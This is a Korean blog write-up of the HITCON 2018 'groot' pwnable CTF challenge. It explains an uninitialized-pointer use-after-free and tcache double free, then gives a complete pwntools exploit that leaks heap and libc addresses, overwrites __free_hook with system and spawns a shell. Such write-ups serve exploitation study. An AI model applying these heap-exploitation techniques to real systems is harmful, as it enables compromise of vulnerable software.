Category : pwnable
Groot I am Groot. nc 54.238.202.201 31733 groot-61a41f97c60a1636a2ff4ca800ecdde3.tar.gz Author: david942j 15 Teams solved. |
Summary : uninitialized variable, use after free, tcache
호기심에 못이겨 출제자(david942j)의 exploit 참고하여 풀어본 문제.
// https://github.com/david942j/ctf-writeups/blob/master/hitcon-2018/groot/sol/groot.rb
tcache 소스를 많이 읽어봐서 exploit이 좀 수월할줄 잘았는데 생각보다 좀 까다롭다.
좀 더 다양한 사고를 해야할 듯.
Concept
$ ./groot
$ ls
. .. flag .bashrc
$ cat flag
No flag here, what are you expecting?
$ cd ..
$ rm groot
$ id
uid=1000(groot) gid=1000(groot) groups=1000(groot)
shell 컨셉의 문제. 구조체를 이용해 가상의 file system을 구성했으며 ls / cat / cd / rm / mv / mkdir / mkfile / touch / pwd / ln 등 file system 을 control 할 수 있는 명령만 구현되어있다.
File system
file system은 대략 위와 같이 구성되어있다. directory상에서 병렬관계는 next 멤버변수로 연결했고, 상하관계는 parent와 child로 연결했다. filename이나 filedata 같은 문자열은 모두 strdup 함수를 호출하여 heap에 복사한다.
Vulnerability
Part (2)
즉, asdf라는 directory를 free 시킨 직후, file을 생성해도 file->child는 asdf directory 하위에 있던 file을 가리키고 있는 것이다. 취약점을 trigger하는 방법을 간략하게 그림으로 표현해봤다.
|
groot 실행 직후, 위와 같이 file system이 구성되어있다. (파일 더 많지만 그림에선 생략)
rm /home/groot 하면 /home/groot chunk와 하위에 있던 chunk들이 모두 free 된다.
이 때 file aaaa를 생성하면 /home/groot가 위치했던 0xba00을 tcache_entry[2]에서 가져와 /home/aaaa를 위치시킨다.
file 생성시, child를 초기화하지 않으므로 aaaa->child는 free된 /home/groot/flag (0xbb20)을 가리키고 있다. (dangling pointer)
다시 한 번 /home/aaaa를 삭제하면 free되었던 0xbad0, 0xbaf0, 0xbb20, 0xba40, 0xba60, 0xba90이 한 번 더 free된다.
double free가 발생되어 tcache_entry의 link가 깨지고 duplicate가 발생했다. 이제 이를 이용하여 exploit을 작성한다.
Exploit
사실 duplicate가 발생했고 tcache는 할당시점에 size 검사를 하지도 않으니, exploit이 간단할 것 같지만 libc leak 때문에 상당히 고민했다. unsorted bin으로 보내야 main_arena 주소를 알 수 있지만, (1) 사용자가 size 0x80이 넘는 chunk를 할당할 수도 없고, (2) 0x420 미만의 chunk는 tcache에 들어가기 때문에 0x420 미만의 chunk를 free할거면 같은 size로 8번 이상 free시켜야 unsorted bin에 보낼 수 있다.
결국 기존에 할당된 chunk 중 가장 큰 /proc/self/mappings의 filedata chunk header를 0x441로 덮어버리고 이를 free시키기로 했다. (출제자 exploit을 참고했음.)
##### overwrite /proc/self/maps chunk_header #####
cmd('rm {}'.format(list_dir[2]))
cmd_mkfile(p64(maps_chunk), 'NOTHING')
cmd('cd NOTHING') # strdup("NOTHING")
cmd('cd {}'.format('A'*8 + p64(0x441))) # strdup. allocated on maps_chunk_header
'''
gdb-peda$ x/40a 0x0000555999ea6000 + 0x126d0
0x555999eb86d0: 0x4141414141414141 0x441
0x555999eb86e0: 0x3036366638373535 0x3735352d30303064
0x555999eb86f0: 0x3030353136366638 0x302070782d722030
0x555999eb8700: 0x2030303030303030 0x30392030303a6466
0x555999eb8710: 0x2020203533303434 0x2020202020202020
0x555999eb8720: 0x2020202020202020 0x61632f6e69622f20
0x555999eb8730: 0x3666383735350a74 0x352d303030343138
0x555999eb8740: 0x3531383666383735 0x702d2d7220303030
0x555999eb8750: 0x3030373030303020 0x2030303a64662030
0x555999eb8760: 0x2035333034343039 0x2020202020202020
0x555999eb8770: 0x2020202020202020 0x2f6e69622f202020
0x555999eb8780: 0x383735350a746163 0x3030303531383666
0x555999eb8790: 0x383666383735352d 0x7772203030303631
0x555999eb87a0: 0x383030303020702d 0x303a646620303030
0x555999eb87b0: 0x3330343430392030 0x2020202020202035
0x555999eb87c0: 0x2020202020202020 0x69622f2020202020
0x555999eb87d0: 0x66370a7461632f6e 0x3061636636666666
0x555999eb87e0: 0x66666666372d3030 0x2030303062656636
0x555999eb87f0: 0x30303020702d7772 0x3030203030303030
0x555999eb8800: 0x202020302030303a 0x2020202020202020
gdb-peda$ x/40a
0x555999eb8810: 0x2020202020202020 0x5b20202020202020
0x555999eb8820: 0x370a5d6b63617473 0x3166663666666666
0x555999eb8830: 0x666666372d303030 0x3030303366663666
0x555999eb8840: 0x30302070782d7220 0x3020303030303030
0x555999eb8850: 0x2020302030303a30 0x2020202020202020
0x555999eb8860: 0x2020202020202020 0x2020202020202020
0x555999eb8870: 0x660a5d6f7364765b 0x6666666666666666
0x555999eb8880: 0x2d30303030303666 0x6666666666666666
0x555999eb8890: 0x3030303130366666 0x30302070782d7220
0x555999eb88a0: 0x3020303030303030 0x2020302030303a30
0x555999eb88b0: 0x2020202020202020 0x2020202020202020
0x555999eb88c0: 0x6c6163737973765b 0xa5d6c
0x555999eb88d0: 0x0 0x41
0x555999eb88e0: 0x1 0x555999eb8680
0x555999eb88f0: 0x0 0x0
0x555999eb8900: 0x555999eb86c0 0x555999eb86e0
0x555999eb8910: 0x0 0x21
0x555999eb8920: 0x706d74 0x0
0x555999eb8930: 0x0 0x41
0x555999eb8940: 0x2 0x555998e51040
gdb-peda$
0x555999eb8950: 0x555999eb8d40 0x555999eb8620
0x555999eb8960: 0x555999eb8920 0x0
0x555999eb8970: 0x0 0x21
0x555999eb8980: 0x656d6f68 0x0
0x555999eb8990: 0x0 0x41
0x555999eb89a0: 0x2 0x555998e51040
0x555999eb89b0: 0x555999eb8a00 0x555999eb8940
0x555999eb89c0: 0x555999eb8980 0x0
0x555999eb89d0: 0x0 0x21
0x555999eb89e0: 0x746f6f7267 0x0
0x555999eb89f0: 0x0 0x41
0x555999eb8a00: 0x2 0x555999eb89a0
0x555999eb8a10: 0x555999eb8b20 0x0
0x555999eb8a20: 0x555999eb89e0 0x0
0x555999eb8a30: 0x0 0x21
0x555999eb8a40: 0x6372687361622e 0x0
0x555999eb8a50: 0x0 0x31
0x555999eb8a60: 0x736c207361696c61 0x20612d20736c273d
0x555999eb8a70: 0x3d726f6c6f632d2d 0xa27797474
0x555999eb8a80: 0x0 0x41
gdb-peda$
0x555999eb8a90: 0x1 0x555999eb8a00
0x555999eb8aa0: 0x0 0x0
0x555999eb8ab0: 0x555999eb8a40 0x555999eb8a60
0x555999eb8ac0: 0x0 0x21
0x555999eb8ad0: 0x67616c66 0x0
0x555999eb8ae0: 0x0 0x31
0x555999eb8af0: 0x2067616c66206f4e 0x6877202c65726568
0x555999eb8b00: 0x7920657261207461 0x636570786520756f
0x555999eb8b10: 0xa3f676e6974 0x41
'''
cmd('cd ..')
cmd('rm /proc/self/maps') # into unsorted bin
########################################
위와 같이 /proc/self/maps의 filedata chunk size를 강제로 확장시키고, rm /proc/self/maps 했더니 원하는대로 main_arena 주소가 chunk에 들어갔다. 이제 이것저것 하다보면 쉘을 획득 할 수 있다.
Exploit
#!/usr/bin/python
from pwn import *
s = process('./groot')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send
def cmd(*argv):
ru('$ ')
sl(' '.join(argv))
def cmd_ls(path=None):
ru('$ ')
if path:
sl('ls {}'.format(path))
else:
sl('ls')
files = rl(False).rstrip().split('\t')
files = files[2:] # ignore . / ..
files = map(lambda x : x.replace('\x1B[38;5;153m', '').replace('\x1B[0m', ''), files)
return files
def cmd_mkfile(filename, data):
ru('$ ')
sl('mkfile {}'.format(filename))
ru('Content? ')
ss(data)
############# stage2 prepare ##########
cmd('cd /root')
cmd('mkdir pwn3r')
cmd('mkdir poison1')
cmd_mkfile('poison2', '0')
cmd('cd pwn3r')
cmd_mkfile('file', '1')
#######################################
############## stage1 start ###########
cmd('cd /tmp')
cmd('mkdir pwn3r')
cmd('mkdir forleak1')
cmd_mkfile('forleak2', '0')
cmd('cd pwn3r')
cmd_mkfile('file', '1')
cmd('cd ..')
cmd('rm pwn3r')
cmd_mkfile('pwn3r', '1')
cmd_mkfile('file', '2')
cmd('rm pwn3r')
list_dir = cmd_ls()
print list_dir
heap_base = u64(list_dir[1].ljust(8, '\x00')) - 0x12fc0
maps_chunk = heap_base + 0x126d0
print hex(heap_base)
print hex(maps_chunk)
########################################
##### overwrite /proc/self/maps chunk_header #####
cmd('rm {}'.format(list_dir[2]))
cmd_mkfile(p64(maps_chunk), 'NOTHING')
cmd('cd NOTHING') # strdup("NOTHING")
cmd('cd {}'.format('A'*8 + p64(0x441))) # strdup. allocated on maps_chunk_header
'''
gdb-peda$ x/40a 0x0000555999ea6000 + 0x126d0
0x555999eb86d0: 0x4141414141414141 0x441
0x555999eb86e0: 0x3036366638373535 0x3735352d30303064
0x555999eb86f0: 0x3030353136366638 0x302070782d722030
0x555999eb8700: 0x2030303030303030 0x30392030303a6466
0x555999eb8710: 0x2020203533303434 0x2020202020202020
0x555999eb8720: 0x2020202020202020 0x61632f6e69622f20
0x555999eb8730: 0x3666383735350a74 0x352d303030343138
0x555999eb8740: 0x3531383666383735 0x702d2d7220303030
0x555999eb8750: 0x3030373030303020 0x2030303a64662030
0x555999eb8760: 0x2035333034343039 0x2020202020202020
0x555999eb8770: 0x2020202020202020 0x2f6e69622f202020
0x555999eb8780: 0x383735350a746163 0x3030303531383666
0x555999eb8790: 0x383666383735352d 0x7772203030303631
0x555999eb87a0: 0x383030303020702d 0x303a646620303030
0x555999eb87b0: 0x3330343430392030 0x2020202020202035
0x555999eb87c0: 0x2020202020202020 0x69622f2020202020
0x555999eb87d0: 0x66370a7461632f6e 0x3061636636666666
0x555999eb87e0: 0x66666666372d3030 0x2030303062656636
0x555999eb87f0: 0x30303020702d7772 0x3030203030303030
0x555999eb8800: 0x202020302030303a 0x2020202020202020
gdb-peda$ x/40a
0x555999eb8810: 0x2020202020202020 0x5b20202020202020
0x555999eb8820: 0x370a5d6b63617473 0x3166663666666666
0x555999eb8830: 0x666666372d303030 0x3030303366663666
0x555999eb8840: 0x30302070782d7220 0x3020303030303030
0x555999eb8850: 0x2020302030303a30 0x2020202020202020
0x555999eb8860: 0x2020202020202020 0x2020202020202020
0x555999eb8870: 0x660a5d6f7364765b 0x6666666666666666
0x555999eb8880: 0x2d30303030303666 0x6666666666666666
0x555999eb8890: 0x3030303130366666 0x30302070782d7220
0x555999eb88a0: 0x3020303030303030 0x2020302030303a30
0x555999eb88b0: 0x2020202020202020 0x2020202020202020
0x555999eb88c0: 0x6c6163737973765b 0xa5d6c
0x555999eb88d0: 0x0 0x41
0x555999eb88e0: 0x1 0x555999eb8680
0x555999eb88f0: 0x0 0x0
0x555999eb8900: 0x555999eb86c0 0x555999eb86e0
0x555999eb8910: 0x0 0x21
0x555999eb8920: 0x706d74 0x0
0x555999eb8930: 0x0 0x41
0x555999eb8940: 0x2 0x555998e51040
gdb-peda$
0x555999eb8950: 0x555999eb8d40 0x555999eb8620
0x555999eb8960: 0x555999eb8920 0x0
0x555999eb8970: 0x0 0x21
0x555999eb8980: 0x656d6f68 0x0
0x555999eb8990: 0x0 0x41
0x555999eb89a0: 0x2 0x555998e51040
0x555999eb89b0: 0x555999eb8a00 0x555999eb8940
0x555999eb89c0: 0x555999eb8980 0x0
0x555999eb89d0: 0x0 0x21
0x555999eb89e0: 0x746f6f7267 0x0
0x555999eb89f0: 0x0 0x41
0x555999eb8a00: 0x2 0x555999eb89a0
0x555999eb8a10: 0x555999eb8b20 0x0
0x555999eb8a20: 0x555999eb89e0 0x0
0x555999eb8a30: 0x0 0x21
0x555999eb8a40: 0x6372687361622e 0x0
0x555999eb8a50: 0x0 0x31
0x555999eb8a60: 0x736c207361696c61 0x20612d20736c273d
0x555999eb8a70: 0x3d726f6c6f632d2d 0xa27797474
0x555999eb8a80: 0x0 0x41
gdb-peda$
0x555999eb8a90: 0x1 0x555999eb8a00
0x555999eb8aa0: 0x0 0x0
0x555999eb8ab0: 0x555999eb8a40 0x555999eb8a60
0x555999eb8ac0: 0x0 0x21
0x555999eb8ad0: 0x67616c66 0x0
0x555999eb8ae0: 0x0 0x31
0x555999eb8af0: 0x2067616c66206f4e 0x6877202c65726568
0x555999eb8b00: 0x7920657261207461 0x636570786520756f
0x555999eb8b10: 0xa3f676e6974 0x41
'''
cmd('cd ..')
cmd('rm /proc/self/maps') # into unsorted bin
########################################
##### fill /proc/self/maps(freed) chunk #######
for i in range(0, ((0x200 + 0x20 * 3) / 0x20)):
cmd('cd NOTHING') # strdup("NOTHING")
###############################################
######## leak libc address #############
libc_base = u64(cmd_ls()[1].ljust(8, '\x00')) - 0x3ebca0
libc_system = libc_base + 0x4f440
libc_free_hook = libc_base + 0x3ed8e8
print hex(libc_base)
#['home', '\xa0<\x01\xf9\xb6\x7f', 'proc', 'root', 'lib', 'boot', 'dev', 'bin', 'etc']
########################################
############ stage2 start ##############
cmd('cd /root')
cmd('rm pwn3r')
cmd_mkfile('pwn3r', '0')
cmd_mkfile('file', '1')
cmd('rm pwn3r')
cmd('rm {}'.format(cmd_ls()[1]))
'''
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x55c4e504cc70 --> 0x55c4e504cd10 --> 0x55c4e504cb90 --> 0x55c4e504cbf0 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x55c4e504cc90 --> 0x55c4e504cbb0 --> 0x55c4e504cc10 --> 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55c4e504d030 (size : 0xdfd0)
last_remainder: 0x55c4e504c990 (size : 0x180)
unsortbin: 0x55c4e504c990 (size : 0x180)
(0x20) tcache_entry[0]: 0x55c4e504cc60 --> 0x55c4e504cc60 (overlap chunk with 0x55c4e504cc50(freed) )
(0x40) tcache_entry[2]: 0x55c4e504cca0 (overlap chunk with 0x55c4e504cc90(freed) )
'''
cmd('cd {}'.format(p64(libc_free_hook)))
cmd('cd NOTHING')
cmd('cd {}'.format(p64(libc_system)))
# now __free_hook = libc_system
# trigger free
cmd('touch sh')
cmd('rm sh') # free("sh") = system("sh")
s.interactive()
s.close()
$ python ex.py
[+] Starting local process './groot': pid 19205
['', '\xc0o\x13%\xb4U', '\x80n\x13%\xb4U']
0x55b425124000
0x55b4251366d0
0x7f4c58f42000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
'CTF > 2018' 카테고리의 다른 글
INCTF 2018 - yawn (0) | 2018.11.03 |
---|---|
SECCON 2018 QUAL - Simple memo (0) | 2018.11.02 |
Tokyo Western CTF 2018 - BBQ (0) | 2018.09.10 |
Tokyo Western CTF 2018 - swap Returns (0) | 2018.09.03 |
Tokyo Western CTF 2018 - Neighbor C (0) | 2018.09.03 |